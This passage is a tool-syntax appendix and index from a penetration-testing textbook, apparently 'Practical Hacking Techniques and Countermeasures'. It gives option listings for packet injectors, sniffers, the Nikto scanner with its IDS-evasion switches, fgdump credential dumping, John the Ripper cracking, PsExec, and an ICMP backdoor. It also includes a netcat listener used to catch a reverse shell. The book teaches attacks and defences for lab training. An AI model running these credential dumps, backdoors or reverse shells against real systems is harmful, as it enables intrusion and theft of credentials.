GUI.\nSniffit\n./sniffit \n" }, { "page_number": 719, "text": "706\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 6\nRafaleX\nSyntax options within the Graphical User Interface (GUI).\nSMAC\nSyntax options within the GUI.\nLinux\nUsage: \nifconfig [-a] [-i] [-v] [-s] \n[[]
]\n[add
[/]]\n[del
[/]]\n[[-]broadcast [
]] [[-]pointopoint \n[
]]\n[netmask
] [dstaddr
] \n[tunnel
]\n[outfill ] [keepalive ]\n[hw
] [metric ] [mtu \n]\n[[-]trailers] [[-]arp] [[-]allmulti]\n[multicast] [[-]promisc]\n[mem_start ] [io_addr ] [irq ] \n[media ]\n[txqueuelen ]\n[[-]dynamic]\n[up|down] ...\n=Hardware Type\nList of possible hardware types:\nloop (Local Loopback) slip (Serial Line IP) cslip (VJ Serial \nLine IP)\nslip6 (6-bit Serial Line IP) cslip6 (VJ 6-bit Serial Line IP)\nadaptive (Adaptive Serial Line IP)\nstrip (Metricom Starmode IP) ash (Ash) ether (Ethernet)\ntr (16/4 Mbps Token Ring) tr (16/4 Mbps Token Ring \n(New)) ax25 (AMPR AX.25)\nnetrom (AMPR NET/ROM) rose (AMPR ROSE) tunnel\n(IPIP Tunnel)\nppp (Point-to-Point Protocol) hdlc ((Cisco)-HDLC) lapb\n(LAPB)\narcnet (ARCnet) dlci (Frame Relay DLCI) frad (Frame\nRelay Access Device)\nsit (IPv6-in-IPv4) fddi (Fiber Distributed Data Interface)\nhippi (HIPPI)\n" }, { "page_number": 720, "text": "Appendix B : Tool Syntax\n\u0001\n707\nChapter\nTool\nSyntax\nChapter 6 \n(continued)\nLinux\nirda (IrLAP) ec (Econet) x25 (generic X.25)\n=Address family. Default: inet\nList of possible address families:\nunix (UNIX Domain) inet (DARPA Internet) inet6 (IPv6)\nax25 (AMPR AX.25) netrom (AMPR NET/ROM) rose \n(AMPR ROSE)\nipx (Novell IPX) ddp (Appletalk DDP) ec (Econet)\nash (Ash) x25 (CCITT X.25)\nPackit\nPacket capture: \npackit -m capture [-cGHnvsX] [-i interface] \n[-r|-w file] expression\nPacket injection: \npackit -m inject [-t protocol] [-\naAbcCdDeFgGhHjJkKlLmMnNoOpPqQrRsSTuUvw-\nWxXyYzZ] [-i interface]\n-m mode Select a runtime mode. Currently supported \nmodes are capture, inject, and trace. The default is inject.\nPacket capture options are as follows: \n-c count Specify the number of packets to capture.\n-e Display link-layer header data. \n-G Display the timestamp in GMT rather than localtime. \n-i interface Listen on interface. If unspecified, packit will \nuse the lowest numbered device in the “up” state \n(excluding loopback). \n-n Do not resolve host addresses to names but resolve \nport numbers. Disables DNS lookups. \n-nn Do not resolve ports numbers to their protocol \nnames but resolve host addresses. \n-nnn Do not resolve host addresses or port numbers. \n-r file Read packet data from tcpdump formatted binary\nlog file. (Example: a file created with -w.) \n-s snaplen Read snaplen bytes of data from each packet\nrather than the default of 68. \n-v Enables verbose packet capture. \n-w file Write the raw packets to file rather than displaying \ntime to stderr. \n-X Display hexadecimal and ASCII dump of each packet\nup to snap length bytes. \nexpression selects which packets should be displayed.\nIf no expression is given, all packets are displayed. See\nthe tcpdump(1) man page for more detailed\ninformation. \n" }, { "page_number": 721, "text": "708\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 6 \n(continued)\nPackit\n-t protocol Specify the type of packet to inject. Supported\nvalues are: ARP, TCP, UDP, and ICMP. This option\ndefaults to TCP in inject mode and ICMP in trace mode.\nThis section documents the operational command-line \noptions: \n-c count The value of count is the total number of\npackets we would like to inject (a count value of 0\nmeans forever). \n-w interval The number of seconds to wait between\nsending each packet burst (default: 1). \n-b burst rate Specifies the number of packets to inject\nevery interval (defined by -w). (A burst rate of 0 will\nsend packets as quickly as possible.) \n-h Host response mode. Enabling this option will print\nany packet you inject and then wait (see -H for timeout)\nto see if the remote host responds. \n-H timeout Specify the timeout value (in seconds) to use\nwith -h. This value defaults to 1 second. \n-i interface Specify the interface to transmit from, if the\nmachine has multiple interfaces. \n-v Verbose injection mode. Displays each packet you\ninject. It also has the same effect as in capture mode\nwhile used with the -h option. \n-p payload This option defines the payload portion of\nthe header. Hex payload should be prefixed with 0x\nwith each value separated by a white space. ASCII\nExample: -p 'hello, this is my packet' Hex Example: -p\n'0x 70 61 63 6B 69 74'.\n-w interval Specify the number of seconds to wait between\npacket bursts. This value defaults to 1 second. \n-Z length Specify the size of the packet(s) to inject. (Max: \n65535).\nThis section documents the IP header command-line\noptions: \n-s src address The IP address the packet will appear to\ncome from. If unspecified, packit will default to the IP\naddress of the lowest numbered device in the up state\n(excluding loopback). \n-sR Use a random source IP address. \n-d dst address The IP address of the machine you would\nlike to contact. \n-dR Use a random destination IP address. \n" }, { "page_number": 722, "text": "Appendix B : Tool Syntax\n\u0001\n709\nChapter\nTool\nSyntax\nChapter 6 \n(continued)\nPackit\n-o type of service TOS values are typically in the hexadecimal\nformat, however, packit only accepts TOS values as\nintegers. \nBelow are the four valid TOS bit values: \n- Minimize delay: 16 (0x10) \n- Maximize throughput: 8 (0x08) \n- Maximize reliability: 4 (0x04) \n- Minimize monetary cost: 2 (0x02) \n-n ID number The ID number is used to identify each\ndatagram sent by a host. It generally increments by 1\nwith each datagram sent. This value is random by\ndefault. \n-T TTL The TTL value defines the upper limit on the\nnumber of devices through which the datagram may\npass to reach its destination. The default value is 128. \n-V IP protocol number Specify the IP protocol associated \nwith this packet (RAWIP only). The default value is 255. \nThis section documents the TCP header command-line\noptions: \n-S src port The port from which our source address is\ncommunicating. This value is random by default. \n-D dst port The port on the destination we would like to\ncommunicate on. In inject mode this value is 0 by\ndefault while in trace mode this value is random by\ndefault. You may also specify a range of addresses in\nthe format: -D 1:1024. \n-f Do not fragment this packet. \n-F tcp flags There are six TCP header flag bits. They can\nbe used in combination with one another and are\nspecified using the following identifiers: \n- S : SYN (Synchronization sequence number) \n- F : FIN (Sender is finished) \n- A : ACK (Acknowledgment number is valid) \n- P : PSH (Receiver should push this data to the remote \nhost) \n- U : URG (The urgent pointer is valid) \n- R : RST (Reset this connection) \nAs an example, to set the SYN and FIN bits use the \nfollowing: -F SF \n-q sequence number The sequence number is a 32-bit\nunsigned (positive) number used to identify the byte\nin a stream of data from the sending TCP to the\nreceiving TCP that the first byte of data represents. \n" }, { "page_number": 723, "text": "710\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 6 \n(continued)\nPackit\na ack number The acknowledgment (ACK) number\ndefines the next sequence number that the sender of\nthe ACK expects to see. It is typically the sequence\nnumber + 1 during valid TCP communication. It is a 32-\nbit unsigned (positive) number. \n-W window size The window size provides flow control.\nIt is a 16-bit number that defines how many bytes the\nreceiver is willing to accept. The default value is 1500. \n-u urgent pointer In valid TCP communication, the urgent\npointer is only useful if the URG flag is set. Used with\nthe sequence number, it points to the last byte of\nurgent data.\nThis section documents the UDP header command-line \noptions. UDP is the default IP protocol for TRACE mode. \n-S src port The port from which our source address is\ncommunicating. This value is random by default. \n-D dst port The port on the destination we would like to\ncommunicate on. In inject mode this value is 0 by\ndefault while in trace mode this value is random by\ndefault. You may also specify a range of addresses in\nthe format: -D 1:1024. \nThis section documents the ICMP header command-line \noptions: \n-K type Specify the ICMP type. See docs/ICMP.txt for\ndetails on types. \n-C code Specify the ICMP code. See docs/ICMP.txt for \ndetails on codes. \nEcho Request/Echo Reply options:\n-N id number Define the 16-bit ICMP identification\nnumber. This value is random by default. \n-Q sequence number Define the 16-bit ICMP sequence\nnumber. This value is random by default. \nUnreachable/Redirect/Time Exceeded options:\n-g gateway Define the gateway in which to redirect\ntraffic. This option is only used for ICMP redirects\n(type 5). \n-j address Define the source address of the original\npacket. \n-J src port Define the source port of the original packet. \n-l address Define the destination address of the original\npacket. \n-L dst port Define the destination port of the original packet. \n-m time to live Define the Time To Live of the original\npacket. This option defaults to 128. \n" }, { "page_number": 724, "text": "Appendix B : Tool Syntax\n\u0001\n711\nChapter\nTool\nSyntax\nChapter 6 \n(continued)\nPackit\n--M id Define the IP ID of the original packet. This option\ndefaults to random. \n-O type of service Define the Type of Service of the \noriginal packet. See the -o option for the possible \nvalues. \n-P protocol Define the protocol of the original packet. This\noption defaults to UDP. \nMask Request/Mask Reply options: \n-N id number Define the 16-bit ICMP identification\nnumber. This value is random by default. \n-Q sequence number Define the 16-bit ICMP sequence\nnumber. This value is random by default. \n-G address mask Define the address network mask. The\ndefault value for this option is:255.255.255.0. \nTimestamp Request/Timestamp Reply options: \n-N id number Define the 16-bit ICMP identification \nnumber. This value is random by default. \n-Q sequence number Define the 16-bit ICMP sequence\nnumber. This value is random by default. \n-U original timestamp Define the 32-bit original \ntimestamp. This value is 0 by default. \n-k received timestamp Define the 32-bit received \ntimestamp. This value is 0 by default. \n-z transmit timestamp Define the 32-bit transmit \ntimestamp. This value is 0 by default. \nPackit only supports ARP protocol addresses in IPv4 \nformat. \n-A operation type Define the ARP/RARP/IRARP operation \ntype. The valid options are as follows: \n- 1 : ARP Request \n- 2 : ARP Reply \n- 3 : Reverse ARP Request \n- 4 : Reverse ARP Reply \n- 5 : Inverse ARP Request \n- 6 : Inverse ARP Reply \n-y target IP address The IP address of the target host. \n-yR Use a random target host IP address. \n-Y target Ethernet address The Ethernet (hardware) \naddress of the target host. \n-YR Use a random target host Ethernet address. \n-x sender IP address The IP address of the sender host. \n-xR Use a random sender host IP address. \n-X sender Ethernet address The Ethernet (hardware) address\nof the sender host. \n" }, { "page_number": 725, "text": "712\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 6 \n(continued)\nPackit\n-XR Use a random sender host Ethernet address. \nThis section documents the Ethernet header command-\nline options: \n-e src Ethernet address The Ethernet (hardware) address \nthe packet will appear to come from. \n-eR Use a random source Ethernet address. If you define\nthis, you will most likely need to define the destination\nEthernet header value as well. When using either -e or\n-E, you enable the link-level packet injection and the\ndestination cannot be auto-defined while injecting in\nthis manner. \n-E dst Ethernet address The Ethernet (hardware) of the\nnext routable interface the packet will cross while\nmaking its way to the destination. \n-ER Use a random destination Ethernet address. \nThe following two rules should be followed if you \nactually want the destination to receive the packets you \nare sending: \n1) If the destination exists beyond your default route\n(gateway), the destination Ethernet address should be\nset to the default route’s Ethernet address. This can\ntypically be found by using the arp(8) command. \n2) If the destination exists on your subnet, the destination \nEthernet address should be set to its Ethernet address. \nThis can typically be found by using the arp command.\nTo print all TCP communications that do not revolve \naround SSH (port 22): packit -m cap 'tcp and not port 22.' \nTo print the start and end packets (the SYN and FIN pack-\nets) of each TCP conversation that involves a nonlocal\nhost, do not resolve addresses and display a hex/ascii\ndump of the packet. packit -m cap -nX 'tcp[tcpflags] &\n(tcp-syn|tcp-fin) != 0 and not src and dst net localnet.' \nTo write the first 10 ICMP packets captured to a file:\npackit -m cap -c 10 -w /tmp/mylog 'icmp.'\nVMware\nSyntax sets the MAC address. Refer to Lab 52.\nChapter 7\nNETWOX/\nNETWAG\nnetwox number [ parameters... ] \nnetwox number --help \nnetwox number --help2 \nnetwox\nNETWOX provides a step-by-step interactive session.\n" }, { "page_number": 726, "text": "Appendix B : Tool Syntax\n\u0001\n713\nChapter\nTool\nSyntax\nChapter 7 \n(continued)\nFGDump\nUsage: \nfgdump [-t][-c][-w][-s][-r][-v][-k]\n[-l logfile] {-h Host | -f filename} \nOptions:\n-u Username. \n-p Password where username and password have \nAdministrator credentials. \n-t Will test for the presence of antivirus without actually \nrunning the password dumps.\n-c Forces fgdump to skip the cache dump.\n-w Forces fgdump to skip the password dump.\n-s Forces fgdump to skip the LSA secrets dump.\n-r Makes fgdump forget about existing \npwdump/cachedump files. The default behavior is to \nskip a host if these files already exist.\n-v Makes output more verbose. Use twice for greater \neffect.\n-k Keeps the pwdump/cachedump going even if \nantivirus is in an unknown state.\n-l Logs all output to logfile.\n-h The name of the single host to perform the dumps \nagainst.\n-f Reads hosts from a line-separated file.\nLC5\nSyntax options within the Graphical User Interface \n(GUI).\nCHNTPW\nAll syntax is interactive.\nJohn the \nRipper\nTo run John, you need to supply it with some password\nfiles and optionally specify a cracking mode, such as,\nusing the default order of modes, and assuming that\nthe password is a copy of your password file:\njohn passwd \nOr, to make it use a wordlist with rules only:\njohn -wordfile:/usr/dict/words - rules \npasswd\nCracked passwords will be printed to the terminal and\nsaved in a file called ~/john.pot (in this text ~ means\nJohn’s home directory, that is, the directory you\ninstalled John’s binary in). \n" }, { "page_number": 727, "text": "714\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 7 \n(continued)\nJohn the \nRipper\nThis file is also used to load passwords that you already\ncracked, when you run John the next time.\nTo retrieve the cracked passwords, run\njohn -show passwd\nWhile cracking, you can press any key for status, or press\nCtrl+C to abort the session, saving point information\nto a file (~/restore by default). By the way, if you press\nCtrl+C twice John will abort immediately without\nsaving. The point information is also saved every 10\nminutes (configurable in the configuration file,\n~/john.ini) in case of a crash.\nTo continue an interrupted session, run\njohn -restore\nAnyway, you probably should have a look at doc/OPTIONS\nfor a list of all the command line options, and at\ndoc/EXAMPLES for more John usage examples with\nother cracking modes.\nOptions:\nYou can list any number of password files on John’s\ncommand line, and also specify some of the following\noptions (all of them are case sensitive, but can be\nabbreviated; you can also use the GNU-style long\noptions syntax):\n-single \"single crack\" mode Enables the “single crack” \nmode, using rules from [List.Rules:Single].\n-wordfile:FILE wordlist mode Read words from FILE, \n-stdin, or stdin.\nThese options are used to enable the wordlist mode:\n-rules enable rules for wordlist mode Enables wordlist \nrules that are read from [List.Rules:Wordlist].\n-incremental[:MODE] incremental mode [using section \nMODE] Enables the incremental mode, using the \nspecified ~/john.ini definition (section \n[Incremental:MODE], or [Incremental:All] by default).\n-external:MODE external mode or word filter Enables an\nexternal mode, using external functions defined in\n~/john.ini’s [List.External:MODE] section.\n-stdout[:LENGTH] no cracking, write words to stdout\nWhen used with a cracking mode, except for \"single\ncrack\", makes John print the words it generates to\nstdout instead of cracking. While applying wordlist\nrules, the significant password length is assumed to be\nLENGTH, or unlimited by default.\n" }, { "page_number": 728, "text": "Appendix B : Tool Syntax\n\u0001\n715\nChapter\nTool\nSyntax\nChapter 7 \n(continued)\nJohn the \nRipper\n-restore[:FILE] restore an interrupted session Continues an\ninterrupted cracking session, reading point information\nfrom the specified file (~/restore by default).\n-session:FILE set session file name to FILE Allows you to\nspecify another point information file’s name to use for\nthis cracking session. This is useful for running multiple\ninstances of John in parallel, or just to be able to\nrecover an older session later, not always to continue\nthe latest one.\n-status[:FILE] print status of a session [from FILE] Prints\nstatus of an interrupted or running session. To get\nup-to-date status information of a detached running\nsession, send that copy of John a SIGHUP before using\nthis option.\n-makechars:FILE make a charset, overwriting FILE\nGenerates a charset file, based on character frequencies\nfrom ~/john.pot, for use with the incremental mode. The\nentire ~/john.pot will be used for the charset file unless\nyou specify some password files. You can also use an\nexternal filter() routine with this option.\n-show show cracked passwords Shows the cracked\npasswords in a convenient form. You should also\nspecify the password files. You can use this option\nwhile another John is cracking, to see what it did so far.\n-test perform a benchmark Benchmarks all the enabled \nciphertext format crackers, and tests them for correct \noperation at the same time.\n-users:[-]LOGIN|UID[,..] load this (these) user(s) only\nAllows you to filter a few accounts for cracking, etc. A\ndash before the list can be used to invert the check\n(that is, load all the users that are not listed).\n-groups:[-]GID[,..] load this (these) group(s) only Tells John \nto load users of the specified group(s) only.\n-shells:[-]SHELL[,..] load this (these) shell(s) only This\noption is useful to load accounts with a valid shell only,\nor not to load accounts with a bad shell. You can omit\nthe path before a shell name, so “-shells:csh” will match\nboth “/bin/csh” and “/usr/bin/csh”, while \n“-shells:/bin/csh” will only match “/bin/csh.”\n" }, { "page_number": 729, "text": "716\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 7 \n(continued)\nJohn the \nRipper\n-salts:[-]COUNT set a passwords per salt limit This feature \nsometimes allows you to achieve better performance. \nFor example you can crack only some salts using \n“-salts:2” faster, and then crack the rest using “-salts:-2.” \nTotal cracking time will be about the same, but you will \nget some passwords cracked earlier.\n-format:NAME force ciphertext format NAME Allows you \nto override the ciphertext format detection. Currently, \nvalid format names are DES, BSDI, MD5, BF, AFS, LM. \nYou can use this option when cracking or with “-test.” \nNote that John cannot crack password files with \ndifferent ciphertext formats at the same time.\n-savemem:LEVEL enable memory saving, at LEVEL 1..3 You\nmight need this option if you do not have enough\nmemory, or do not want John to affect other processes\ntoo much. Level 1 tells John not to waste memory on\nlogin names, so you will not see them while cracking.\nHigher levels have a performance impact: you should\nprobably avoid using them unless John does not work\nor gets into swap otherwise.\nAdditional utilities:\nThere are some utilities in John’s run directory:\nunshadow PASSWORD-FILE SHADOW-FILE Combines\nthe password and shadow files (when you already have\naccess to both) for use with John. You might need this\nbecause if you only used your shadow file, the GECOS\ninformation would not be used by the “single crack”\nmode, and also you would not be able to use the -shells\noption. You will usually want to redirect the output of\nunshadow to a file.\nunafs DATABASE-FILE CELL-NAME Gets password hashes\nout of the binary AFS database, and produces a file usable\nby John (again, you should redirect the output yourself).\nunique OUTPUT-FILE Removes duplicates from a\nwordlist (read from stdin), without changing the order.\nYou might want to use this with John’s -stdout option,\nif you have a lot of disk space to trade for the reduced\ncracking time.\nmailer PASSWORD-FILE A shell script to send mail to all\nthe users who have weak passwords. You should edit\nthe message inside before using.\nBruteFTP \nSyntax options within the Graphical User Interface (GUI).\nTSGrinder \nII \nSyntax options within the GUI.\n" }, { "page_number": 730, "text": "Appendix B : Tool Syntax\n\u0001\n717\nChapter\nTool\nSyntax\nChapter 8\nSAINT\nSyntax options within the Graphical User Interface \n(GUI).\nNETWOX/\nNETWAG\nSee above.\nSolar \nWinds \nSyntax options within the GUI.\nRetina\nSyntax options within the GUI.\nX-Scan\nSyntax options within the GUI.\nSARA\nSyntax options within the GUI.\nN-Stealth\nSyntax options within the GUI.\nPluto\nSyntax options within the GUI.\nMetasploit Please use Lab 68 for proper use of this tool.\nNikto\nnikto [-h target] [options] \nThe options listed here are all optional and all can be \nabbreviated to the first letter (i.e., -m for -mutate), with \nthe exception of -verbose and -debug. \n-allcgi Force scan of all possible CGI directories defined \nin the config.txt value CGIDIRS, regardless of whether \nor not they exist. \n-cookies Print out the cookie names and values that were \nreceived during the scan. \n-evasion IDS evasion techniques. This \nenables the intrusion detection evasion in LibWhisker. \nMultiple options can be used by stringing the numbers \ntogether, i.e., to enable methods 1 and 5, use -e 15. The \nvalid options are (use the number preceeding each \ndescription): \n1 Random URI encoding (non-UTF8) \n2 Add directory self-reference /./ \n3 Premature URL ending \n4 Prepend long random string to request \n5 Fake parameters to files \n6 Tab as request spacer instead of spaces \n7 Random case sensitivity \n8 Use Windows directory separator instead of / \n9 Session splicing See the LibWhisker source for more \ninformation, or http://www.wiretrip.net/ \n" }, { "page_number": 731, "text": "718\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 8 \n(continued)\nNikto\n-findonly Use port scan to find valid HTTP and HTTPS\nports only, but do not perform checks against them. \n-Format Output format for the file specified with the -\noutput option. Valid formats are: HTM HTML output\nformat. TXT Text output format. This is the default if -F\nis not specified. CSV Comma-Separated Value format. \n-generic Force full scan rather than trusting the \"Server:\" \nidentification string, as many servers allow this to be \nchanged. \n-host Target host(s) to check\nagainst. This can be an IP address or hostname, or a file\nof IPs or hostnames. If this argument is a file, it should\nbe formatted as described below. This is the only\nrequired option. \n-id HTTP Authentication use,\nformat is userid:password for authorizing Nikto to a\nWeb server realm. For NTLM realms, the format is\nid:password:realm. \n-mutate Mutate checks. This causes Nikto put all files\nwith all directories from the .db files and can the host.\nYou might find some oddities this way. Note that it\ngenerates a lot of checks. \n-nolookup Do not perform a hostname lookup. \n-output <filename> Write output to this file when\ncomplete. Format is text unless specified via -Format. \n-port Port number to scan; defaults to\nport 80 if missing. This can also be a range or list of\nports, which Nikto will check for Web servers. If a Web\nserver is found, it will perform a full scan unless the -f\noption is used. \n-root Always prepend this to requests, i.e., changes a\nrequest of \"/password.txt\" to \"/directory/password.txt\"\n(assuming the value passed on the CLI was\n\"/directory\"). \n-ssl Force SSL mode on port(s) listed. Note that Nikto\nattempts to determine if a port is HTTP or HTTPS\nautomatically, but this can be slow if the server fails to\nrespond or is slow to respond to the incorrect one. This\nsets SSL usage for *all* hosts and ports. \n-timeout Timeout for each request; default is 10 seconds. \n-useproxy Use the proxy defined in config.txt for all \nrequests. \n-vhost Virtual host to use for the \"Host:\" \nheader, in case it is different from the target. \n" }, { "page_number": 732, "text": "Appendix B : Tool Syntax\n\u0001\n719\nChapter\nTool\nSyntax\nChapter 8 \n(continued)\nNikto\n-Version Print version numbers of Nikto, all plugins, and\nall databases. \nThese options cannot be abbreviated to the first letter: \n-dbcheck This option will check the syntax of the checks\nin the scan_database.db and user_scan_database.db\nfiles. This is really only useful if you are adding checks\nor are having problems. \n-debug Print a huge amount of detail out. In most cases\nthis is going to be more information than you need, so\ntry -verbose first. \n-update This will connect to cirt.net and download\nupdated scan_database.db and plugin files. Use this\nwith caution as you are downloading files — perhaps\nincluding code — from an “untrusted” source. This\noption cannot be combined with any other, but\nrequired variables (like the PROXY settings) will be\nloaded from the config.txt file. \n-verbose Print out a lot of extra data during a run. This\ncan be useful if a scan or server is failing, or to see\nexactly how a server responds to each request.\nShadow \nScanner\nSyntax options within the GUI.\nCerberus\nSyntax options within the GUI.\nAutoScan\nSyntax options within the GUI.\nFake Lock \nScreen XP \nLogin\nSyntax for this application is performed through editing \nincluded text files.\nRockXP\nSyntax options within the GUI.\nWHCC \nScan\nSyntax options within the GUI.\nChapter 9\nNetStumbler Syntax options within the GUI.\nBack \nOrifice\nSyntax options within the GUI.\nNetBus\nSyntax options within the GUI.\nSneaky- \nSneaky\nUsage:\nBefore you compile you should set your own session_id \nin config.h!\nTo install the server just type \n" }, { "page_number": 733, "text": "720\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 9 \n(continued)\nSneaky- \nSneaky\nmake server \nand run ./ibd-server .\n is the code that is used by the server to\nsend packets. For possible codes look below.\nTo install the client, type \nmake client\nand run ./ibd-client ; is the\nhost to connect to; for , see above.\nDo not use interactive programs like vi, pine, etc., with\nthis backdoor because it does not create a streaming\nconnection.\nPossible icmpcodes:\n 0 Echo Reply\n 5 Redirect\n 8 Echo Request\n 9 Router advertisement\n10 Router solicitation\n13 Timestamp request\n14 Timestamp reply\n15 Information request\n16 Information reply\n17 AddressMask request\n18 AdressMask reply \nStreaming \nFiles\nTo stream: \ncp \nTo unstream: \ncp \nEttercap\nSyntax options within the GUI.\nDsniff\ndsniff [-c] [-d] [-m] [-n] [-i interface] \n[-s snaplen] [-f services] \n[-t trigger[,...]]] [-r|-w savefile] \n[expression]\nOptions: \n-c Perform half-duplex TCP stream reassembly to handle\nasymmetrically routed traffic (such as when using\narpspoof(8) to intercept client traffic bound for the\nlocal gateway). \n" }, { "page_number": 734, "text": "Appendix B : Tool Syntax\n\u0001\n721\nChapter\nTool\nSyntax\nChapter 9 \n(continued)\nDsniff\n-d Enable debugging mode. \n-m Enable automatic protocol detection. \n-n Do not resolve IP addresses to hostnames. \n-i interface Specify the interface to listen on. \n-s snaplen Analyze at most the first snaplen bytes of each\nTCP connection, rather than the default of 1024. \n-f services Load triggers from a services file. \n-t trigger[,...] Load triggers from a comma-separated list,\nspecified as port/proto=service (e.g., 80/tcp=http). \n-r savefile Read sniffed sessions from a savefile created \nwith the -w option. \n-w file Write sniffed sessions to savefile rather than parsing \nand printing them out. \nexpression Specify a tcpdump(8) filter expression to select \ntraffic to sniff. \nAchilles\nSyntax options within the GUI.\nNetcat\nSee above.\nReverse \nShell\nOpen a listening netcat session on the attacker’s \ncomputer:\nnc –l –n –v –p 8080\nInitiate the connection to the attacker from the target\ncomputer:\nrx \nChapter 10 PortMapper Syntax options within the GUI.\nElitewrap\nelitewrap.exe [scriptfile]\nSyntax options within the GUI.\nFpipe\nFPipe [-hvu?] [-lrs ] [-i IP] IP\nOptions:\n-?/-h Shows this help text.\n-c Maximum allowed simultaneous TCP connections.\nDefault is 32.\n-i Listening interface IP address.\n-l Listening port number.\n-r Remote port number.\n-s Outbound source port number.\n-u UDP mode.\n-v Verbose mode.\n" }, { "page_number": 735, "text": "722\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 10 \n(continued)\nFpipe\nExample: \nfpipe -l 53 -s 53 -r 80 192.168.1.101\nThis would set the program to listen for connections on\nport 53 and when a local connection is detected, a\nfurther connection will be made to port 80 of the\nremote machine at 192.168.1.101 with the source port\nfor that outbound connection being set to 53 also. Data\nsent to and from the connected machines will be\npassed through.\nPsExec\nUsage: \npsexec [\\\\computer[,computer[,..] | @file ] \n[-u user [-p psswd]][-n s][-s|-e][-i][-c \n[-f|-v]][-d][-w directory][-]\n[-a n,n,...] cmd [arguments]\nOptions: \ncomputer Direct PsExec to run the application on the\ncomputer or computers specified. If you omit the\ncomputer name, PsExec runs the application on the\nlocal system and if you enter a computer name of \"\\\\*\"\nPsExec runs the applications on all computers in the\ncurrent domain. \n@file Directs PsExec to run the command on each \ncomputer listed in the text file specified. \n-a Separate processors on which the application can run\nwith commas where 1 is the lowest numbered CPU. For\nexample, to run the application on CPU 2 and CPU 4,\nenter: -a 2,4.\n-c Copy the specified program to the remote system for\nexecution. If you omit this option then the application\nmust be in the system’s path on the remote system. \n-d Do not wait for the application to terminate. Only use \nthis option for non-interactive applications. \n-e Loads the specified account’s profile. \n-f Copy the specified program to the remote system\neven if the file already exists on the remote system. \n-i Run the program so that it interacts with the desktop\non the remote system. \n-n Specifies timeout in seconds connecting to remote\ncomputers. \n" }, { "page_number": 736, "text": "Appendix B : Tool Syntax\n\u0001\n723\nChapter\nTool\nSyntax\nChapter 10 \n(continued)\nPsExec\n-p Specifies optional password for username. If you omit\nthis you will be prompted to enter a hidden password. \n-s Run remote process in the System account. \n-u Specifies optional username for login to remote \ncomputer. \n-v Copy the specified file only if it has a higher version\nnumber or is newer on than the one on the remote\nsystem. \n-w Set the working directory of the process (relative to\nthe remote computer). \n-priority Specifies -low, -belownormal, -abovenormal, \n-high or -realtime to run the process at a different \npriority. \nProgram Name of the program to execute. \nArguments Arguments to pass (note that file paths must\nbe absolute paths on the target system). \nTCP Relay\nnetwox number [ parameters... ] \nnetwox number --help \nnetwox number --help2 \nnetwox\nNETWOX provides a step-by-step interactive session.\nChapter 11 RafaleX\nSyntax options within the GUI.\nTrash2.c\nUsage:\n./trash2 [dest_ip] [# of packets]\n[*] [ip dest] Example: 10.10.10.10.\n[*] {number] Example: 100.\n" }, { "page_number": 737, "text": "" }, { "page_number": 738, "text": "725\nIndex\nA\nAchilles, 574–587\nconfigure Web browser, 576–578\nhow it works, 574\nlaunch application, 578–584\nlaunch WebGoat, 574–575\nmanipulate data in real-time, 585–587\nsyntax, 721\nACK (Acknowledge), and three-way \nhandshakes, 265\nACLs (access control lists), as countermeasure, \n596\nBack Orifice, 519\nDoS (Denial-of-Service) land attacks, 645, 650\nDoS smurf attack, 650\nDoS SYN(Synchronize) attack, 650\nDoS UDP(User Datagram Protocol) flood \nattack, 660\nFpipe, 627\nMetasploit, 429\nNetBus, 534\nNETWOX/NETWAG, 638\nNikto, 451\nNULL session, 89\nPortMapper, 605\nRetina, 392\nSAINT, 359\nSniffit, 249\nSolar Winds, 386\nSuperScan, 163–165\nTSGrinder II, 354\nWHAX, 474\nWHCC, 507\nX-Scan, 397\nActivePerl, for Nikto, 452–453\nAddUser screen, Red Hat Linux, 50\nADM Gates, 189–191, 697\nAdministrator passwords\nchanging with CHNTPW, see CHNTPW \n(Change NT Password)\nas countermeasure\nfor FGDump, 309\nfor John the Ripper, 337\nfor LC5, 313\nFake Lock Screen XP grabbing, 491–498\ninstalling Windows 2000 virtual Workstation, \n23, 28\nAmap\nbanner identification, 79–83\nreference for, 671\nsyntax, 678\nAngry IP Scanner\nchecking unsecured home computers, 518\nlocating open ports with, 147–150\nsyntax, 694\nAntivirus, as countermeasure\nBack Orifice, 519\nElitewrap, 618\nNetBus, 519\nReverse Shell, 596, 601–602\nApplications, executing hidden. see Elitewrap\nARP (Address Resolution Protocol) poisoning, \nEttercap, 562–563\nARROW keys, 49\nAudit checks, Pluto, 427\n" }, { "page_number": 739, "text": "726\n\u0001\nPractical Hacking Techniques and Countermeasures\nAutopartition, Red Hat Linux, 43–44\nAutoScan, 482–490, 719\nB\nBack Orifice, see BO (Back Orifice)\nBanner alteration, as countermeasure, 109, 117\nBanner identification, 63–86\namap, 79–83\nbanner.c, 84–85\nnetcat, 67–72\nreferences, 671\nScanline, 73–74\nsocial engineering and, 86\nTelnet, 65–66\ntool syntax, 675–678\nXprobe 2, 75–78\nBanner.c\nbanner identification, 84–86\nreference for, 671\nsyntax, 671\nBastion computers, as countermeasure\nnetcat, 588\nNikto, 451\nRetina, 392\nSolar Winds, 386\nWHAX, 474\nWHCC, 507\nX-Scan, 397\nBastion servers/workstations, as \ncountermeasure\nBack Orifice, 519\nCGI (Common Gateway Interface) Scanner, \n171–177\nDoS (Denial-of-Service) and attack, 645\nDoS smurf attack, 650\nDoS SYN (Synchronize) attack, 650\nDoS UDP (User Datagram Protocol) flood \nattack, 660\nHydra, 178–186\nMetasploit, 429\nNetBus, 534\nNETWOX/NETWAG, 301\nPsExec, 633\nSAINT, 359\nSniffit, 249\nSuperScan, 163–165\nWGateScan, 187–191\nBeenhacked directory, 177\nBerkley Packet Filter (BPF), and ngrep, 213\nBO (Back Orifice), 519–533\non attacker’s computer, 528–533\nhow it works, 519\ninstalling remotely, 533\nsyntax, 719\non target (server), 519–528\nBoot Disk screen, Red Hat Version 8, 52\nBoot Loader 